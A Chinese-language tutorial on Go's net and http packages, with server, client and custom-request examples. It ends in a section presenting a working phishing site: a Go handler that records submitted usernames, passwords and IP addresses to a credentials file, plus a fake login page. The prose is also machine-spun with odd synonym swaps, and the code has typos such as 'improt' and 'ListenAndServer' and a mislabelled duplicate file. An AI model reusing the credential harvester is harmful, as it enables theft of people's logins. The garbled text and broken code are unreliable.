什么是net包和http包
在Go语言中,net 和 http 包是构建网络应用步伐时非常常用的两个包。它们分别提供了处置惩罚底层网络通讯和HTTP协议的功能。
net包
net包主要提供了底层网络通讯功能,支持TCP、UDP、Unix套字节等协议,常用于创建网络服务或网络通讯
其主要函数在TCP网络连接中已经学习过
http包
http包主要用于处置惩罚http请求和相应,提供了方便的函数来实现http客户端和服务端
主要函数
- http.ListenAndServe:
http.ListenAndServe是创建HTTP服务器的最常用函数,它监听指定地址并等待请求,它须要传入一个地址和一个http.Handler
- func ListenAndServe(addr string, handler Handler) error
- http.ListenAndServe(":8080", nil)
复制代码
- http.HandleFunc:
http.HandleFunc函数用于注册一个路由和请求处置惩罚函数,它会将请求分发到指定处置惩罚函数中
- func HandleFunc(pattern string, handler func(ResponseWriter, *Request))
- http.HandleFunc("/hello", func(w http.ResponseWriter, r *http.Request) {
- fmt.Fprintf(w, "Hello, World!")
- })
复制代码
- http.NewRequest:
http.NewRequest用于创建一个新的HTTP请求,通常用于HTTP客户端
- func NewRequest(method, url string, body io.Reader) (*Request, error)
- method:HTTP请求方法(GET等)
- url:请求的URL
- body:请求的正文内容(通常为nil或io.Reader)
- req, err := http.NewRequest("GET", "http://localhost:8080", nil)
- if err != nil {
- log.Fatal(err)
- }
复制代码
- http.Get
http.Get是一个简单的HTTP客户端函数,发送一个GET请求并返回相应
- func Get(url string) (resp *Response, err error)
- resp, err := http.Get("http://localhost:8080")
- if err != nil {
- log.Fatal(err)
- }
- defer resp.Body.Close()
- body, _ := ioutil.ReadAll(resp.Body)
- fmt.Println(string(body))
复制代码
- http.ResponseWriter
http.ResponseWriter是一个接口,用于构建http相应。
Write([]byte) (n int,err error):向相应写入数据
WriteHeader(statusCode int):设置HTTP相应状态码
- http.HandleFunc("/hello",func(w http.ResponseWriter,r *http.Request){
- w.WriteHeader(http.StatusOK)
- fmt.Fprintf(w,"Hello,World!")
- })
复制代码 例子
创建一个简单的HTTP服务器
- package main
- improt(
- "fmt"
- "net/http"
- )
- func handler(w http.ResponseWriter,r *http.Request){
- fmt.Fprintf(w,"Hello,%s!",r.URL.Path[1:])
- }
- func main(){
- http.HandleFunc("/",handler)
- fmt.Println("Server is running at http://127.0.0.1:8080")
- err:=http.ListenAndServer(":8080",nil)
- if err !=nil{
- fmt.Println("Error starting server:",err)
- }
- }
复制代码 HTTP客户端请求
- package main
- import(
- "fmt"
- "net/http"
- "io/ioutil"
- )
- func main(){
- resp,err:=http.Get("http://127.0.0.1:8080")
- if err !=nil{
- fmt.Println("Error:",err)
- return
- }
- defer resp.Body.Close()
- body,err:=ioutil.ReadAll(resp.Body)
- if err!=nil{
- fmt.Println("Error reading response body:",err)
- return
- }
- fmt.Println("Response:",string(body))
- }
复制代码 通过http.NewRequest创建自界说请求
- package main
- import (
- "bytes"
- "fmt"
- "io/ioutil"
- "log"
- "net/http"
- )
- func main() {
- // 创建请求数据
- url := "https://httpbin.org/post"
- method := "POST"
- payload := []byte(`{"name": "John", "age": 30}`)
- // 创建请求
- req, err := http.NewRequest(method, url, bytes.NewBuffer(payload))
- if err != nil {
- log.Fatal(err)
- }
- // 设置请求头
- req.Header.Set("Content-Type", "application/json")
- req.Header.Set("Authorization", "Bearer your-token")
- // 使用自定义的 HTTP 客户端发送请求
- client := &http.Client{}
- resp, err := client.Do(req)
- if err != nil {
- log.Fatal(err)
- }
- defer resp.Body.Close()
- // 读取响应
- body, err := ioutil.ReadAll(resp.Body)
- if err != nil {
- log.Fatal(err)
- }
- // 输出响应
- fmt.Printf("Response: %s\n", body)
- }
复制代码 通过http.Client拓展请求功能
- //配置请求超时
- client:=&http.Client{
- Timeout: 10*time.Second
- }
- //配置代理
- proxyURL,err:=url.Parse("http://baidu.com")
- if err !=nil{
- log.Fatal(err)
- }
- client:==&http.Client{
- Transport: &http.Transport{
- Proxy: http.ProxyURL(proxyURL),
- },
- }
复制代码 用http包实现钓鱼网站
1.go
- package main
-
- import (
- "net/http"
- "os" "time"
- "github.com/gorilla/mux"
- log "github.com/sirupsen/logrus"
- )
-
- func login(w http.ResponseWriter, r *http.Request) {
- log.WithFields(log.Fields{
- "time": time.Now().String(),
- "username": r.FormValue("username"),
- "password": r.FormValue("password"),
- "user-agent": r.UserAgent(),
- "ip_address": r.RemoteAddr,
- }).Info("login attempt")
- http.Redirect(w, r, "/", 302)
- }
-
- func main() {
- fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
- if err != nil {
- panic(err)
- }
- defer fh.Close()
- log.SetOutput(fh)
- r := mux.NewRouter()
- r.HandleFunc("/login", login).Methods("POST")
- r.PathPrefix("/").Handler(http.FileServer(http.Dir("./public")))
- log.Fatal(http.ListenAndServe(":8080", r))
- }
复制代码 index.html
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Login</title>
- <link rel="stylesheet" href="styles.css">
- </head>
- <body>
- <div class="login-container">
- <h2>Login</h2>
- <form id="login-form" method="POST" action="/login">
- <label for="_user">Username</label>
- <input type="text" id="_user" name="username" required>
-
- <label for="_pass">Password</label>
- <input type="password" id="_pass" name="password" required>
-
- <button type="submit">Login</button>
- </form></div>
-
- <script src="scripts.js"></script>
- </body>
- </html>
复制代码 srcipts.js
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Login</title>
- <link rel="stylesheet" href="styles.css">
- </head>
- <body>
- <div class="login-container">
- <h2>Login</h2>
- <form id="login-form" method="POST" action="/login">
- <label for="_user">Username</label>
- <input type="text" id="_user" name="username" required>
-
- <label for="_pass">Password</label>
- <input type="password" id="_pass" name="password" required>
-
- <button type="submit">Login</button>
- </form></div>
-
- <script src="scripts.js"></script>
- </body>
- </html>
复制代码 http包和net包的关系
- http包是建立在net包的基础上的,实际上http也会利用net来进行底层的网络通讯
- 我们在http包中利用http.ListenAndServe来创建HTTP服务器,而这个方法实际上是通过net.Listen来实现的,底层的通讯还是依赖于net包的实现。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |